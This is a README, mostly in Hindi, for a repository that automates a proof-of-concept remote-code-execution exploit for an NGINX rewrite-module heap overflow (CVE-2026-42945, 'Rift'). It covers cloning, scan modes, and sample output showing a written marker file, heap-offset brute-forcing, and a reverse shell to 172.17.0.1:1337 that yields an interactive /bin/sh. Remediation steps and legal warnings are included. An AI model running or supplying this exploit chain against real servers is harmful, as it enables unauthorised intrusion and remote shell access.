⚠️ नैतिक एवं कानूनी चेतावनी यह टूल केवल वैध और अधिकृत सुरक्षा परीक्षण के लिए है — अनुबंधित पेंटेस्ट, लैब/CTF, या स्वयं के स्वामित्व वाली संपत्ति। सिस्टम स्वामी की अनुमति के बिना उपयोग एक आपराधिक अपराध है (UU ITE, Computer Fraud and Abuse Act, आदि)। उपयोगकर्ता इसके उपयोग के लिए पूर्ण रूप से जिम्मेदार है।

📖 कमजोरियों का सारांश

CVE-2026-42945 NGINX "Rift" कॉन्फ़िगरेशन में एक Remote Code Execution (RCE) कमजोरी है — ngx_http_rewrite_module मॉड्यूल में heap-based buffer overflow बग, जो विशेष ब्लॉक लोकेशन (/api/users/...) के माध्यम से ट्रिगर होता है। इसका प्रभाव यह है कि हमलावर कंटेनर के अंदर system() हैंडलर के माध्यम से कमांड निष्पादित कर सकता है।

इस रिपॉजिटरी में 2 घटक हैं:

🏗 कार्यप्रवाह

┌─────────────────────────────┐
│         scan.sh             │
│  Mode: auto / cmd / shell   │
└─────────────┬───────────────┘
              ▼
      [0] Preflight
      cek docker, curl, python3,
      nc, timeout + poc.py ada
              ▼
      [1] Verifikasi Target
      docker ps (label compose)
      → curl /api/users/42 (HTTP 200)
              ▼
      [2] PoC --cmd (max 3× retry)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              │
              ▼ (timeout 300s per attempt)
      Verifikasi ground-truth:
      docker exec cat /tmp/pwned
              ▼
      [3] PoC --shell (opsional)
      listener 172.17.0.1:1337
      → prompt /bin/sh interaktif

⚙️ सिस्टम आवश्यकताएँ

ऑपरेटर (होस्ट जहाँ स्क्रिप्ट चलाई जाती है):

• Linux (bash) — Kali / Ubuntu / Debian पर परीक्षण किया गया
• docker (sudo के साथ या docker समूह में उपयोगकर्ता)
• python3 + poc.py (scan.sh के समान निर्देशिका में)
• curl, nc (netcat), timeout (coreutils)

लक्ष्य (लैब):

• कंटेनर nginx-rift पहले से चालू है (docker compose के माध्यम से provisioning)
• होस्ट पोर्ट 19321 127.0.0.1 पर खुला है
• कंटेनर Docker bridge से जुड़ा है (होस्ट listener के लिए डिफ़ॉल्ट 172.17.0.1)

📥 इंस्टॉलेशन

# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. Pastikan executable
chmod +x scan.sh

# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout

scan.sh और poc.py को समान निर्देशिका में होना चाहिए।

🚀 उपयोग के तरीके

./scan.sh          # पूर्ण प्रवाह (डिफ़ॉल्ट: auto)
./scan.sh cmd      # केवल सिंगल-कमांड PoC + मार्कर सत्यापन
./scan.sh shell    # सीधे इंटरैक्टिव रिवर्स-शेल
./scan.sh help     # सहायता दिखाएँ

मोड auto (डिफ़ॉल्ट)

1. प्रीफ़्लाइट — सभी निर्भरताओं की जाँच करें।
2. लक्ष्य सत्यापन — कंटेनर चालू है? HTTP 200?
3. PoC --cmd — मार्कर hello from depthfirst को कंटेनर के अंदर /tmp/pwned में लिखें (स्वचालित retry अधिकतम 3×, timeout 300s/प्रयास)।
4. परिणाम सत्यापन — docker exec cat /tmp/pwned में मार्कर होना चाहिए (ground-truth, केवल आउटपुट पढ़ना नहीं)।
5. प्रॉम्प्ट रिवर्स-शेल के लिए आगे बढ़ें? → इंटरैक्टिव सत्र के लिए y।

मोड shell

./scan.sh shell

poc.py --shell को listener 172.17.0.1:1337 के साथ चलाता है। ब्रूट-फ़ोर्स सफल होने के बाद, आपको कंटेनर के अंदर NGINX worker उपयोगकर्ता के रूप में इंटरैक्टिव /bin/sh प्रॉम्प्ट मिलता है।

नोट: IP 172.17.0.1 डिफ़ॉल्ट Docker bridge पर होस्ट का पता है। यदि आपका bridge अलग है (docker network inspect bridge), तो scan.sh के ऊपर LISTEN_IP वेरिएबल बदलें।

🔧 बदली जा सकने वाली कॉन्फ़िगरेशन

सभी पैरामीटर scan.sh के ऊपरी कॉन्फ़िगरेशन ब्लॉक में एकत्र हैं:

📸 नमूना आउटपुट

┌──────────────────────────────────────────────────────────────┐
│  NGINX RIFT · CVE-2026-42945 · PoC Automation Driver  │
└──────────────────────────────────────────────────────────────┘

── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)

── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target  : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)

[?] Lanjut ke reverse-shell interaktif? [y/N]: y

── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

🛠 समस्या समाधान

🛡 उपचार (ब्लू टीम के लिए)

1. NGINX को पैच करें — ऐसे संस्करण में अपग्रेड करें जो ngx_http_rewrite_module को ठीक करता है / Rift कॉन्फ़िगरेशन हटाता है।
2. एक्सपोज़र सीमित करें — कंटेनर पोर्ट को 0.0.0.0 पर एक्सपोज़ न करें; WAF के साथ आंतरिक नेटवर्क + रिवर्स प्रॉक्सी का उपयोग करें।
3. न्यूनतम विशेषाधिकार — NGINX worker को अतिरिक्त विशेषाधिकारों के बिना चलाएँ; कंटेनर को --privileged के साथ न चलाएँ।
4. मॉनिटरिंग — /api/users/ पर अजीब अनुरोधों (गैर-संख्यात्मक पैटर्न, लंबे पेलोड) के लिए अलर्ट, nginx प्रक्रिया से /bin/sh स्पॉन का पता लगाना।
5. नेटवर्क विभाजन — कंटेनर bridge को होस्ट से अलग करें; रिवर्स शेल को कठिन बनाने के लिए कंटेनर egress सीमित करें।

📁 रिपॉजिटरी संरचना

CVE-2026-42945_NginxRift/
├── scan.sh     # Automation orchestrator (bash) — सत्यापन, PoC, मार्कर सत्यापन, शेल
├── poc.py      # Exploit driver (python) — heap offset ब्रूट-फ़ोर्स, मोड --cmd / --shell
└── README.md   # यह दस्तावेज़

⚖️ अस्वीकरण और लाइसेंस

केवल वैध उपयोग के लिए। यह टूल निम्न के लिए है:

• Professional penetration testing (लिखित अनुबंध)
• Security research & responsible disclosure
• Lab / CTF environment

किसी भी इंफ्रास्ट्रक्चर पर यह टूल चलाने से पहले आपके पास सिस्टम स्वामी की लिखित अनुमति होना अनिवार्य है।

रिपॉजिटरी "as-is" बिना किसी वारंटी के प्रदान की गई है। योगदानकर्ता दुरुपयोग के लिए जिम्मेदार नहीं हैं।

लाइसेंस: MIT

📚 संदर्भ

• CVE-2026-42945 — NVD / MITRE
• NGINX ngx_http_rewrite_module — आधिकारिक दस्तावेज़ीकरण
• Docker Compose — documentation